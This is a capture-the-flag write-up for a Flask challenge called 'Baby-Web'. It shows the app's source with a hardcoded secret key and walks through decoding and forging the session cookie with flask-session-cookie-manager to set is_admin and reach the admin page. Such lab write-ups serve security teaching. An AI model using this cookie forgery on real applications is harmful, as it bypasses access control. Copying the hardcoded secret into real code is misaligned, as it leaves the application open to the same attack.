

Baby-Web

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We are presented with a page and some source code of that flask-website.

```
import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")

@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")

@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG,
is_admin=session.get("is_admin"))

### Some other hidden code ###

if __name__ == "__main__":
    app.run(debug=True)
```

It looks like this webpage checks whether the session cookie contains `is_admin` variable. And it allows access to `/admin` page with that.

Although we can change the cookie it needs to be a valid cookie for the flask application which means we can't really access the admin page it seems.

But what is this??? `app.secret_key = "baby-web"` the secret_key for Flask-page!

There is a great tool thanks to Noraj at <https://github.com/noraj/flask-session-cookie-manager> that can decode and encode Flask session cookies.

Lets see what our session cookie contains:

```
python3 flask_session_cookie_manager3.py decode -c
```

```
"eyJpc19hZG1pbiI6ZmFsc2V9.ZiPRRw.-qtSHySQ5KCOToVGu8ef-kdHjS8"
```

```
`b'{"is_admin":false}'`
```

We want to set this value to `true` but that requires a flask-key. Oh wait we have that already, so lets do it!

```
python3 flask_session_cookie_manager3.py encode -s 'baby-web' -t
```

```
'{"is_admin":"true"}'
```

```
eyJpc19hZG1pbiI6InRydWUifQ.ZiPUqA._Kfnlv2zTSBAcYz9Z9h3AWvlpFQ
```

After we change the session cookie with this we now have access to the `/admin` page

We can quickly check the source code of this page to find a hidden button that gives out the FLAG!

